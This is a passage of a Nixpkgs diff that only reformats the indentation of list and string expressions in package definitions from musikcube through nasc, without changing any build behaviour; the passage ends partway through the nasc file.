--- a/pkgs/by-name/mu/musikcube/package.nix
+++ b/pkgs/by-name/mu/musikcube/package.nix
@@ -53,29 +53,28 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      asio
-      curl
-      ffmpeg
-      gnutls
-      lame
-      libev
-      game-music-emu
-      libmicrohttpd
-      libopenmpt
-      mpg123
-      ncurses
-      portaudio
-      taglib
-    ]
-    ++ lib.optionals systemdSupport [ systemd ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-      pulseaudio
-    ]
-    ++ lib.optionals sndioSupport [ sndio ]
-    ++ lib.optionals pipewireSupport [ pipewire ];
+  buildInputs = [
+    asio
+    curl
+    ffmpeg
+    gnutls
+    lame
+    libev
+    game-music-emu
+    libmicrohttpd
+    libopenmpt
+    mpg123
+    ncurses
+    portaudio
+    taglib
+  ]
+  ++ lib.optionals systemdSupport [ systemd ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+    pulseaudio
+  ]
+  ++ lib.optionals sndioSupport [ sndio ]
+  ++ lib.optionals pipewireSupport [ pipewire ];
 
   cmakeFlags = [ "-DDISABLE_STRIP=true" ];
 
diff --git a/pkgs/by-name/mu/musl/package.nix b/pkgs/by-name/mu/musl/package.nix
index d2227dd12a49..5df32f11d4fa 100644
--- a/pkgs/by-name/mu/musl/package.nix
+++ b/pkgs/by-name/mu/musl/package.nix
@@ -91,7 +91,8 @@ stdenv.mkDerivation rec {
   ];
   CFLAGS = [
     "-fstack-protector-strong"
-  ] ++ lib.optional stdenv.hostPlatform.isPower "-mlong-double-64";
+  ]
+  ++ lib.optional stdenv.hostPlatform.isPower "-mlong-double-64";
 
   configureFlags = [
     "--enable-shared"
@@ -122,44 +123,43 @@ stdenv.mkDerivation rec {
     }
   '';
 
-  postInstall =
-    ''
-      # Not sure why, but link in all but scsi directory as that's what uclibc/glibc do.
-      # Apparently glibc provides scsi itself?
-      (cd $dev/include && ln -s $(ls -d ${linuxHeaders}/include/* | grep -v "scsi$") .)
+  postInstall = ''
+    # Not sure why, but link in all but scsi directory as that's what uclibc/glibc do.
+    # Apparently glibc provides scsi itself?
+    (cd $dev/include && ln -s $(ls -d ${linuxHeaders}/include/* | grep -v "scsi$") .)
 
-      ${lib.optionalString (
-        stdenv.targetPlatform.libc == "musl" && stdenv.targetPlatform.isx86_32
-      ) "install -D libssp_nonshared.a $out/lib/libssp_nonshared.a"}
+    ${lib.optionalString (
+      stdenv.targetPlatform.libc == "musl" && stdenv.targetPlatform.isx86_32
+    ) "install -D libssp_nonshared.a $out/lib/libssp_nonshared.a"}
 
-      # Create 'ldd' symlink, builtin
-      ln -s $out/lib/libc.so $bin/bin/ldd
+    # Create 'ldd' symlink, builtin
+    ln -s $out/lib/libc.so $bin/bin/ldd
 
-      # (impure) cc wrapper around musl for interactive usuage
-      for i in musl-gcc musl-clang ld.musl-clang; do
-        moveToOutput bin/$i $dev
-      done
-      moveToOutput lib/musl-gcc.specs $dev
-      substituteInPlace $dev/bin/musl-gcc \
-        --replace $out/lib/musl-gcc.specs $dev/lib/musl-gcc.specs
+    # (impure) cc wrapper around musl for interactive usuage
+    for i in musl-gcc musl-clang ld.musl-clang; do
+      moveToOutput bin/$i $dev
+    done
+    moveToOutput lib/musl-gcc.specs $dev
+    substituteInPlace $dev/bin/musl-gcc \
+      --replace $out/lib/musl-gcc.specs $dev/lib/musl-gcc.specs
 
-      # provide 'iconv' utility, using just-built headers, libc/ldso
-      $CC ${iconv_c} -o $bin/bin/iconv \
-        -I$dev/include \
-        -L$out/lib -Wl,-rpath=$out/lib \
-        -lc \
-        -B $out/lib \
-        -Wl,-dynamic-linker=$(ls $out/lib/ld-*)
-    ''
-    + lib.optionalString (arch != null) ''
-      # Create 'libc.musl-$arch' symlink
-      ln -rs $out/lib/libc.so $out/lib/libc.musl-${arch}.so.1
-    ''
-    + lib.optionalString useBSDCompatHeaders ''
-      install -D ${queue_h} $dev/include/sys/queue.h
-      install -D ${cdefs_h} $dev/include/sys/cdefs.h
-      install -D ${tree_h} $dev/include/sys/tree.h
-    '';
+    # provide 'iconv' utility, using just-built headers, libc/ldso
+    $CC ${iconv_c} -o $bin/bin/iconv \
+      -I$dev/include \
+      -L$out/lib -Wl,-rpath=$out/lib \
+      -lc \
+      -B $out/lib \
+      -Wl,-dynamic-linker=$(ls $out/lib/ld-*)
+  ''
+  + lib.optionalString (arch != null) ''
+    # Create 'libc.musl-$arch' symlink
+    ln -rs $out/lib/libc.so $out/lib/libc.musl-${arch}.so.1
+  ''
+  + lib.optionalString useBSDCompatHeaders ''
+    install -D ${queue_h} $dev/include/sys/queue.h
+    install -D ${cdefs_h} $dev/include/sys/cdefs.h
+    install -D ${tree_h} $dev/include/sys/tree.h
+  '';
 
   passthru.linuxHeaders = linuxHeaders;
 
diff --git a/pkgs/by-name/mu/mutt/package.nix b/pkgs/by-name/mu/mutt/package.nix
index 0f47ad426674..2edb07ab08d5 100644
--- a/pkgs/by-name/mu/mutt/package.nix
+++ b/pkgs/by-name/mu/mutt/package.nix
@@ -43,15 +43,14 @@ stdenv.mkDerivation rec {
     hash = "sha256-0WL7bUkeOvQ9b2L5Sbfmh7sMfCWE2lLJmpk1SiXeFO8=";
   };
 
-  patches =
-    [
-      # Avoid build-only references embedding into 'mutt -v' output.
-      ./no-build-only-refs.patch
-    ]
-    ++ lib.optional smimeSupport (fetchpatch {
-      url = "https://salsa.debian.org/mutt-team/mutt/raw/debian/1.10.1-2/debian/patches/misc/smime.rc.patch";
-      sha256 = "0b4i00chvx6zj9pcb06x2jysmrcb2znn831lcy32cgfds6gr3nsi";
-    });
+  patches = [
+    # Avoid build-only references embedding into 'mutt -v' output.
+    ./no-build-only-refs.patch
+  ]
+  ++ lib.optional smimeSupport (fetchpatch {
+    url = "https://salsa.debian.org/mutt-team/mutt/raw/debian/1.10.1-2/debian/patches/misc/smime.rc.patch";
+    sha256 = "0b4i00chvx6zj9pcb06x2jysmrcb2znn831lcy32cgfds6gr3nsi";
+  });
 
   enableParallelBuilding = true;
   strictDeps = true;
@@ -61,41 +60,39 @@ stdenv.mkDerivation rec {
     which
   ];
 
-  buildInputs =
-    [
-      ncurses
-      zlib
-    ]
-    ++ lib.optional headerCache gdbm
-    ++ lib.optional sslSupport openssl
-    ++ lib.optional gssSupport libkrb5
-    ++ lib.optional saslSupport cyrus_sasl;
+  buildInputs = [
+    ncurses
+    zlib
+  ]
+  ++ lib.optional headerCache gdbm
+  ++ lib.optional sslSupport openssl
+  ++ lib.optional gssSupport libkrb5
+  ++ lib.optional saslSupport cyrus_sasl;
 
-  configureFlags =
-    [
-      (lib.enableFeature headerCache "hcache")
-      (lib.enableFeature gpgmeSupport "gpgme")
-      (lib.enableFeature imapSupport "imap")
-      (lib.enableFeature smtpSupport "smtp")
-      (lib.enableFeature pop3Support "pop")
-      (lib.enableFeature withSidebar "sidebar")
-      "--with-mailpath="
+  configureFlags = [
+    (lib.enableFeature headerCache "hcache")
+    (lib.enableFeature gpgmeSupport "gpgme")
+    (lib.enableFeature imapSupport "imap")
+    (lib.enableFeature smtpSupport "smtp")
+    (lib.enableFeature pop3Support "pop")
+    (lib.enableFeature withSidebar "sidebar")
+    "--with-mailpath="
 
-      # Look in $PATH at runtime, instead of hardcoding /usr/bin/sendmail
-      "ac_cv_path_SENDMAIL=sendmail"
+    # Look in $PATH at runtime, instead of hardcoding /usr/bin/sendmail
+    "ac_cv_path_SENDMAIL=sendmail"
 
-      # This allows calls with "-d N", that output debug info into ~/.muttdebug*
-      "--enable-debug"
+    # This allows calls with "-d N", that output debug info into ~/.muttdebug*
+    "--enable-debug"
 
-      # The next allows building mutt without having anything setgid
-      # set by the installer, and removing the need for the group 'mail'
-      # I set the value 'mailbox' because it is a default in the configure script
-      "--with-homespool=mailbox"
-    ]
-    ++ lib.optional sslSupport "--with-ssl"
-    ++ lib.optional gssSupport "--with-gss"
-    ++ lib.optional saslSupport "--with-sasl"
-    ++ lib.optional gpgmeSupport "--with-gpgme-prefix=${lib.getDev gpgme}";
+    # The next allows building mutt without having anything setgid
+    # set by the installer, and removing the need for the group 'mail'
+    # I set the value 'mailbox' because it is a default in the configure script
+    "--with-homespool=mailbox"
+  ]
+  ++ lib.optional sslSupport "--with-ssl"
+  ++ lib.optional gssSupport "--with-gss"
+  ++ lib.optional saslSupport "--with-sasl"
+  ++ lib.optional gpgmeSupport "--with-gpgme-prefix=${lib.getDev gpgme}";
 
   postPatch = lib.optionalString (smimeSupport || gpgmeSupport) ''
     sed -i 's#/usr/bin/openssl#${openssl}/bin/openssl#' smime_keys.pl
diff --git a/pkgs/by-name/mu/muvm/package.nix b/pkgs/by-name/mu/muvm/package.nix
index 64ad1e8c4ca4..8860436d4e57 100644
--- a/pkgs/by-name/mu/muvm/package.nix
+++ b/pkgs/by-name/mu/muvm/package.nix
@@ -39,7 +39,8 @@ let
     dhcpcd
     passt
     (placeholder "out")
-  ] ++ lib.optionals stdenv.isAarch64 [ fex ];
+  ]
+  ++ lib.optionals stdenv.isAarch64 [ fex ];
   wrapArgs = lib.escapeShellArgs [
     "--prefix"
     "PATH"
@@ -63,19 +64,18 @@ rustPlatform.buildRustPackage rec {
   useFetchCargoVendor = true;
   cargoHash = "sha256-fkvdS0c1Ib8Kto44ou06leXy731cpMHXevyFR5RROt4=";
 
-  postPatch =
-    ''
-      substituteInPlace crates/muvm/src/guest/bin/muvm-guest.rs \
-        --replace-fail "/usr/lib/systemd/systemd-udevd" "${systemd}/lib/systemd/systemd-udevd"
+  postPatch = ''
+    substituteInPlace crates/muvm/src/guest/bin/muvm-guest.rs \
+      --replace-fail "/usr/lib/systemd/systemd-udevd" "${systemd}/lib/systemd/systemd-udevd"
 
-      substituteInPlace crates/muvm/src/monitor.rs \
-        --replace-fail "/sbin/sysctl" "${lib.getExe' procps "sysctl"}"
-    ''
-    # Only patch FEX path if we're aarch64, otherwise we don't want the derivation to pull in FEX in any way
-    + lib.optionalString stdenv.isAarch64 ''
-      substituteInPlace crates/muvm/src/guest/mount.rs \
-        --replace-fail "/usr/share/fex-emu" "${fex}/share/fex-emu"
-    '';
+    substituteInPlace crates/muvm/src/monitor.rs \
+      --replace-fail "/sbin/sysctl" "${lib.getExe' procps "sysctl"}"
+  ''
+  # Only patch FEX path if we're aarch64, otherwise we don't want the derivation to pull in FEX in any way
+  + lib.optionalString stdenv.isAarch64 ''
+    substituteInPlace crates/muvm/src/guest/mount.rs \
+      --replace-fail "/usr/share/fex-emu" "${fex}/share/fex-emu"
+  '';
 
   nativeBuildInputs = [
     rustPlatform.bindgenHook
diff --git a/pkgs/by-name/mv/mvapich/package.nix b/pkgs/by-name/mv/mvapich/package.nix
index c70fa731d003..a35fcca30b54 100644
--- a/pkgs/by-name/mv/mvapich/package.nix
+++ b/pkgs/by-name/mv/mvapich/package.nix
@@ -58,45 +58,43 @@ stdenv.mkDerivation rec {
     zlib
     opensm
   ];
-  buildInputs =
-    [
-      numactl
-      libxml2
-      perl
-      openssh
-      hwloc
-    ]
-    ++ lib.optionals (network == "infiniband") [
-      rdma-core
-      opensm
-    ]
-    ++ lib.optionals (network == "omnipath") [
-      libpsm2
-      libfabric
-    ]
-    ++ lib.optional useSlurm slurm;
+  buildInputs = [
+    numactl
+    libxml2
+    perl
+    openssh
+    hwloc
+  ]
+  ++ lib.optionals (network == "infiniband") [
+    rdma-core
+    opensm
+  ]
+  ++ lib.optionals (network == "omnipath") [
+    libpsm2
+    libfabric
+  ]
+  ++ lib.optional useSlurm slurm;
 
-  configureFlags =
-    [
-      "--with-pm=hydra"
-      "--enable-fortran=all"
-      "--enable-cxx"
-      "--enable-threads=multiple"
-      "--enable-hybrid"
-      "--enable-shared"
-      "FFLAGS=-fallow-argument-mismatch" # fix build with gfortran 10
-    ]
-    ++ lib.optional useSlurm "--with-pm=slurm"
-    ++ lib.optional (network == "ethernet") "--with-device=ch3:sock"
-    ++ lib.optionals (network == "infiniband") [
-      "--with-device=ch3:mrail"
-      "--with-rdma=gen2"
-      "--disable-ibv-dlopen"
-    ]
-    ++ lib.optionals (network == "omnipath") [
-      "--with-device=ch3:psm"
-      "--with-psm2=${libpsm2}"
-    ];
+  configureFlags = [
+    "--with-pm=hydra"
+    "--enable-fortran=all"
+    "--enable-cxx"
+    "--enable-threads=multiple"
+    "--enable-hybrid"
+    "--enable-shared"
+    "FFLAGS=-fallow-argument-mismatch" # fix build with gfortran 10
+  ]
+  ++ lib.optional useSlurm "--with-pm=slurm"
+  ++ lib.optional (network == "ethernet") "--with-device=ch3:sock"
+  ++ lib.optionals (network == "infiniband") [
+    "--with-device=ch3:mrail"
+    "--with-rdma=gen2"
+    "--disable-ibv-dlopen"
+  ]
+  ++ lib.optionals (network == "omnipath") [
+    "--with-device=ch3:psm"
+    "--with-psm2=${libpsm2}"
+  ];
 
   doCheck = true;
 
diff --git a/pkgs/by-name/mv/mvfst/package.nix b/pkgs/by-name/mv/mvfst/package.nix
index 3b4472c0e11b..67a2ae9de0ca 100644
--- a/pkgs/by-name/mv/mvfst/package.nix
+++ b/pkgs/by-name/mv/mvfst/package.nix
@@ -67,21 +67,20 @@ stdenv.mkDerivation (finalAttrs: {
     "trivialautovarinit"
   ];
 
-  cmakeFlags =
-    [
-      (lib.cmakeBool "BUILD_SHARED_LIBS" (!stdenv.hostPlatform.isStatic))
+  cmakeFlags = [
+    (lib.cmakeBool "BUILD_SHARED_LIBS" (!stdenv.hostPlatform.isStatic))
 
-      (lib.cmakeBool "CMAKE_INSTALL_RPATH_USE_LINK_PATH" true)
+    (lib.cmakeBool "CMAKE_INSTALL_RPATH_USE_LINK_PATH" true)
 
-      (lib.cmakeBool "BUILD_TESTS" finalAttrs.finalPackage.doCheck)
+    (lib.cmakeBool "BUILD_TESTS" finalAttrs.finalPackage.doCheck)
 
-      (lib.cmakeFeature "CMAKE_INSTALL_PREFIX" (placeholder "dev"))
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Homebrew sets this, and the shared library build fails without
-      # it. I don‘t know, either. It scares me.
-      (lib.cmakeFeature "CMAKE_SHARED_LINKER_FLAGS" "-Wl,-undefined,dynamic_lookup")
-    ];
+    (lib.cmakeFeature "CMAKE_INSTALL_PREFIX" (placeholder "dev"))
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Homebrew sets this, and the shared library build fails without
+    # it. I don‘t know, either. It scares me.
+    (lib.cmakeFeature "CMAKE_SHARED_LINKER_FLAGS" "-Wl,-undefined,dynamic_lookup")
+  ];
 
   __darwinAllowLocalNetworking = true;
 
diff --git a/pkgs/by-name/mv/mvnd/package.nix b/pkgs/by-name/mv/mvnd/package.nix
index 59a8645d3a81..9dff6597302d 100644
--- a/pkgs/by-name/mv/mvnd/package.nix
+++ b/pkgs/by-name/mv/mvnd/package.nix
@@ -77,27 +77,26 @@ maven.buildMavenPackage rec {
     runHook postInstall
   '';
 
-  passthru =
-    {
-      updateScript = nix-update-script { };
-    }
-    // (lib.optionalAttrs (!stdenv.hostPlatform.isDarwin) {
-      tests.version = testers.testVersion {
-        # `java` or `JAVA_HOME` is required to run mvnd
-        # presumably the user already has a JDK installed if they're using maven; don't pull in an unnecessary runtime dependency
-        package =
-          runCommand "mvnd"
-            {
-              inherit version;
-              nativeBuildInputs = [ makeWrapper ];
-            }
-            ''
-              mkdir -p $out/bin
-              makeWrapper ${mvnd}/bin/mvnd $out/bin/mvnd \
-                --suffix PATH : ${lib.makeBinPath [ mvnJdk ]}
-            '';
-      };
-    });
+  passthru = {
+    updateScript = nix-update-script { };
+  }
+  // (lib.optionalAttrs (!stdenv.hostPlatform.isDarwin) {
+    tests.version = testers.testVersion {
+      # `java` or `JAVA_HOME` is required to run mvnd
+      # presumably the user already has a JDK installed if they're using maven; don't pull in an unnecessary runtime dependency
+      package =
+        runCommand "mvnd"
+          {
+            inherit version;
+            nativeBuildInputs = [ makeWrapper ];
+          }
+          ''
+            mkdir -p $out/bin
+            makeWrapper ${mvnd}/bin/mvnd $out/bin/mvnd \
+              --suffix PATH : ${lib.makeBinPath [ mvnJdk ]}
+          '';
+    };
+  });
 
   meta = {
     description = "The Apache Maven Daemon";
diff --git a/pkgs/by-name/mx/mxnet/package.nix b/pkgs/by-name/mx/mxnet/package.nix
index 83e20d2c129f..9260fe3b83be 100644
--- a/pkgs/by-name/mx/mxnet/package.nix
+++ b/pkgs/by-name/mx/mxnet/package.nix
@@ -52,18 +52,17 @@ stdenv.mkDerivation rec {
     perl
   ];
 
-  buildInputs =
-    [
-      opencv4
-      gtest
-      blas.provider
-    ]
-    ++ lib.optional stdenv.cc.isGNU gomp
-    ++ lib.optional stdenv.cc.isClang llvmPackages.openmp
-    ++ lib.optionals cudaSupport [
-      # needed for OpenCV cmake module
-      cudaPackages.cudatoolkit
-    ];
+  buildInputs = [
+    opencv4
+    gtest
+    blas.provider
+  ]
+  ++ lib.optional stdenv.cc.isGNU gomp
+  ++ lib.optional stdenv.cc.isClang llvmPackages.openmp
+  ++ lib.optionals cudaSupport [
+    # needed for OpenCV cmake module
+    cudaPackages.cudatoolkit
+  ];
 
   cmakeFlags = [
     "-DUSE_MKL_IF_AVAILABLE=OFF"
diff --git a/pkgs/by-name/my/mya/package.nix b/pkgs/by-name/my/mya/package.nix
index 0a6100663841..afd9dd5fd124 100644
--- a/pkgs/by-name/my/mya/package.nix
+++ b/pkgs/by-name/my/mya/package.nix
@@ -26,15 +26,14 @@ stdenv.mkDerivation (finalAttrs: {
     ninja
   ];
 
-  buildInputs =
-    [
-      curl
-      json_c
-      libbsd
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isGnu) [
-      argp-standalone
-    ];
+  buildInputs = [
+    curl
+    json_c
+    libbsd
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isGnu) [
+    argp-standalone
+  ];
 
   patches = [
     ./argp.patch
diff --git a/pkgs/by-name/my/mydumper/package.nix b/pkgs/by-name/my/mydumper/package.nix
index 61d6d21556b4..e9cbb920b532 100644
--- a/pkgs/by-name/my/mydumper/package.nix
+++ b/pkgs/by-name/my/mydumper/package.nix
@@ -50,22 +50,21 @@ stdenv.mkDerivation rec {
   nativeInstallCheckInputs = [ versionCheckHook ];
   doInstallCheck = true;
 
-  buildInputs =
-    [
-      glib
-      pcre
-      pcre2
-      util-linux
-      libmysqlclient
-      libressl
-      libsysprof-capture
-      zlib
-      zstd
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libselinux
-      libsepol
-    ];
+  buildInputs = [
+    glib
+    pcre
+    pcre2
+    util-linux
+    libmysqlclient
+    libressl
+    libsysprof-capture
+    zlib
+    zstd
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libselinux
+    libsepol
+  ];
 
   cmakeFlags = [
     "-DCMAKE_SKIP_BUILD_RPATH=ON"
diff --git a/pkgs/by-name/my/mygui/package.nix b/pkgs/by-name/my/mygui/package.nix
index d574bbc73e1f..ff1f30b0d085 100644
--- a/pkgs/by-name/my/mygui/package.nix
+++ b/pkgs/by-name/my/mygui/package.nix
@@ -38,23 +38,22 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      boost
-      freetype
-      libuuid
-      ois
-    ]
-    ++ lib.optionals withOgre [
-      ogre
-    ]
-    ++ lib.optionals (!withOgre && stdenv.hostPlatform.isLinux) [
-      libGL
-      libGLU
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libX11
-    ];
+  buildInputs = [
+    boost
+    freetype
+    libuuid
+    ois
+  ]
+  ++ lib.optionals withOgre [
+    ogre
+  ]
+  ++ lib.optionals (!withOgre && stdenv.hostPlatform.isLinux) [
+    libGL
+    libGLU
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libX11
+  ];
 
   # Tools are disabled due to compilation failures.
   cmakeFlags = [
diff --git a/pkgs/by-name/my/mysql84/package.nix b/pkgs/by-name/my/mysql84/package.nix
index d0e39e5dccea..02131a505d20 100644
--- a/pkgs/by-name/my/mysql84/package.nix
+++ b/pkgs/by-name/my/mysql84/package.nix
@@ -38,7 +38,8 @@ stdenv.mkDerivation (finalAttrs: {
     bison
     cmake
     pkg-config
-  ] ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ rpcsvc-proto ];
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ rpcsvc-proto ];
 
   patches = [
     ./no-force-outline-atomics.patch # Do not force compilers to turn on -moutline-atomics switch
@@ -50,31 +51,30 @@ stdenv.mkDerivation (finalAttrs: {
     substituteInPlace cmake/os/Darwin.cmake --replace /usr/bin/libtool libtool
   '';
 
-  buildInputs =
-    [
-      (curl.override { inherit openssl; })
-      icu
-      libedit
-      libevent
-      lz4
-      ncurses
-      openssl
-      protobuf_21
-      re2
-      readline
-      zlib
-      zstd
-      libfido2
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      numactl
-      libtirpc
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      cctools
-      darwin.developer_cmds
-      darwin.DarwinTools
-    ];
+  buildInputs = [
+    (curl.override { inherit openssl; })
+    icu
+    libedit
+    libevent
+    lz4
+    ncurses
+    openssl
+    protobuf_21
+    re2
+    readline
+    zlib
+    zstd
+    libfido2
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    numactl
+    libtirpc
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    cctools
+    darwin.developer_cmds
+    darwin.DarwinTools
+  ];
 
   outputs = [
     "out"
diff --git a/pkgs/by-name/n8/n8n/package.nix b/pkgs/by-name/n8/n8n/package.nix
index 789de0fc802b..2b5741d729bf 100644
--- a/pkgs/by-name/n8/n8n/package.nix
+++ b/pkgs/by-name/n8/n8n/package.nix
@@ -32,17 +32,16 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-tYUbCAb2FI9NXyViDEYcpOST2LwZGx66Zwqy9sl2V1A=";
   };
 
-  nativeBuildInputs =
-    [
-      pnpm_10.configHook
-      python3 # required to build sqlite3 bindings
-      node-gyp # required to build sqlite3 bindings
-      makeWrapper
-    ]
-    ++ lib.optional stdenv.hostPlatform.isDarwin [
-      cctools
-      xcbuild
-    ];
+  nativeBuildInputs = [
+    pnpm_10.configHook
+    python3 # required to build sqlite3 bindings
+    node-gyp # required to build sqlite3 bindings
+    makeWrapper
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin [
+    cctools
+    xcbuild
+  ];
 
   buildInputs = [
     nodejs
diff --git a/pkgs/by-name/na/naja/package.nix b/pkgs/by-name/na/naja/package.nix
index 24cf7ee71259..879278176981 100644
--- a/pkgs/by-name/na/naja/package.nix
+++ b/pkgs/by-name/na/naja/package.nix
@@ -47,17 +47,16 @@ stdenv.mkDerivation {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      bison
-      cmake
-      doxygen
-      flex
-      pkg-config
-    ]
-    ++ lib.optionals (stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      python3 # test scripts
-    ];
+  nativeBuildInputs = [
+    bison
+    cmake
+    doxygen
+    flex
+    pkg-config
+  ]
+  ++ lib.optionals (stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    python3 # test scripts
+  ];
 
   buildInputs = [
     boost
diff --git a/pkgs/by-name/na/namecoind/package.nix b/pkgs/by-name/na/namecoind/package.nix
index f6bbad0dfb49..7c9861e504aa 100644
--- a/pkgs/by-name/na/namecoind/package.nix
+++ b/pkgs/by-name/na/namecoind/package.nix
@@ -29,41 +29,38 @@ stdenv.mkDerivation rec {
     hash = "sha256-r6rVgPrKz7nZ07oXw7KmVhGF4jVn6L+R9YHded+3E9k=";
   };
 
-  nativeBuildInputs =
-    [
-      autoreconfHook
-      pkg-config
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ util-linux ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ hexdump ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
-      darwin.autoSignDarwinBinariesHook
-    ];
+  nativeBuildInputs = [
+    autoreconfHook
+    pkg-config
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ util-linux ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ hexdump ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
+    darwin.autoSignDarwinBinariesHook
+  ];
 
-  buildInputs =
-    [
-      boost
-      libevent
-      db4
-      miniupnpc
-      zeromq
-      zlib
-    ]
-    ++ lib.optionals withWallet [ sqlite ]
-    # building with db48 (for legacy descriptor wallet support) is broken on Darwin
-    ++ lib.optionals (withWallet && !stdenv.hostPlatform.isDarwin) [ db4 ];
+  buildInputs = [
+    boost
+    libevent
+    db4
+    miniupnpc
+    zeromq
+    zlib
+  ]
+  ++ lib.optionals withWallet [ sqlite ]
+  # building with db48 (for legacy descriptor wallet support) is broken on Darwin
+  ++ lib.optionals (withWallet && !stdenv.hostPlatform.isDarwin) [ db4 ];
 
   enableParallelBuilding = true;
 
-  configureFlags =
-    [
-      "--with-boost-libdir=${boost.out}/lib"
-      "--disable-bench"
-      "--disable-gui-tests"
-    ]
-    ++ lib.optionals (!withWallet) [
-      "--disable-wallet"
-    ];
+  configureFlags = [
+    "--with-boost-libdir=${boost.out}/lib"
+    "--disable-bench"
+    "--disable-gui-tests"
+  ]
+  ++ lib.optionals (!withWallet) [
+    "--disable-wallet"
+  ];
 
   nativeCheckInputs = [ python3 ];
 
diff --git a/pkgs/by-name/na/nano/package.nix b/pkgs/by-name/na/nano/package.nix
index e2421d99bae2..1108f1720b9a 100644
--- a/pkgs/by-name/na/nano/package.nix
+++ b/pkgs/by-name/na/nano/package.nix
@@ -46,15 +46,14 @@ stdenv.mkDerivation rec {
     "info"
   ];
 
-  configureFlags =
-    [
-      "--sysconfdir=/etc"
-      (lib.enableFeature enableNls "nls")
-      (lib.enableFeature enableTiny "tiny")
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      "gl_cv_func_strcasecmp_works=yes"
-    ];
+  configureFlags = [
+    "--sysconfdir=/etc"
+    (lib.enableFeature enableNls "nls")
+    (lib.enableFeature enableTiny "tiny")
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    "gl_cv_func_strcasecmp_works=yes"
+  ];
 
   postInstall =
     if enableTiny then
diff --git a/pkgs/by-name/na/nanoboyadvance/package.nix b/pkgs/by-name/na/nanoboyadvance/package.nix
index 6b0efdc8b717..606890013aca 100644
--- a/pkgs/by-name/na/nanoboyadvance/package.nix
+++ b/pkgs/by-name/na/nanoboyadvance/package.nix
@@ -58,18 +58,17 @@ stdenv.mkDerivation (finalAttrs: {
     libunarr
   ];
 
-  cmakeFlags =
-    [
-      (lib.cmakeFeature "FETCHCONTENT_SOURCE_DIR_GLAD" "${gladSrc}")
-      (lib.cmakeBool "USE_SYSTEM_FMT" true)
-      (lib.cmakeBool "USE_SYSTEM_TOML11" true)
-      (lib.cmakeBool "USE_SYSTEM_UNARR" true)
-      (lib.cmakeBool "PORTABLE_MODE" false)
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      (lib.cmakeBool "MACOS_BUILD_APP_BUNDLE" true)
-      (lib.cmakeBool "MACOS_BUNDLE_QT" false)
-    ];
+  cmakeFlags = [
+    (lib.cmakeFeature "FETCHCONTENT_SOURCE_DIR_GLAD" "${gladSrc}")
+    (lib.cmakeBool "USE_SYSTEM_FMT" true)
+    (lib.cmakeBool "USE_SYSTEM_TOML11" true)
+    (lib.cmakeBool "USE_SYSTEM_UNARR" true)
+    (lib.cmakeBool "PORTABLE_MODE" false)
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    (lib.cmakeBool "MACOS_BUILD_APP_BUNDLE" true)
+    (lib.cmakeBool "MACOS_BUNDLE_QT" false)
+  ];
 
   # Make it runnable from the terminal on Darwin
   postInstall = lib.optionals stdenv.hostPlatform.isDarwin ''
diff --git a/pkgs/by-name/na/narsil/package.nix b/pkgs/by-name/na/narsil/package.nix
index 2b65576cd5c7..37ee9e1e9798 100644
--- a/pkgs/by-name/na/narsil/package.nix
+++ b/pkgs/by-name/na/narsil/package.nix
@@ -26,15 +26,16 @@ stdenv.mkDerivation rec {
   passthru.updateScript = nix-update-script { };
 
   nativeBuildInputs = [ autoreconfHook ];
-  buildInputs =
-    [ ncurses ]
-    ++ lib.optionals enableSdl2 [
-      SDL2
-      SDL2_image
-      SDL2_sound
-      SDL2_mixer
-      SDL2_ttf
-    ];
+  buildInputs = [
+    ncurses
+  ]
+  ++ lib.optionals enableSdl2 [
+    SDL2
+    SDL2_image
+    SDL2_sound
+    SDL2_mixer
+    SDL2_ttf
+  ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/na/nasc/package.nix b/pkgs/by-name/na/nasc/package.nix
index 5a255668d75c..cb017f35586c 100644
--- a/pkgs/by-name/na/nasc/package.nix
+++ b/pkgs/by-name/na/nasc/package.nix
@@ -44,18 +44,17 @@ stdenv.mkDerivation rec {
     wrapGAppsHook3
   ];
 
-  buildInputs =
-    [
-      glib
-      gtk3
-      gtksourceview
-      libgee
-      pantheon.granite
-      webkitgtk_4_0
-      # We add libqalculate's runtime dependencies because nasc has it as a modified subproject.
-    ]
-    ++ libqalculate.buildInputs
-    ++ libqalculate.propagatedBuildInputs;
+  buildInputs = [
+    glib
+    gtk3
+    gtksourceview
+    libgee
+    pantheon.granite
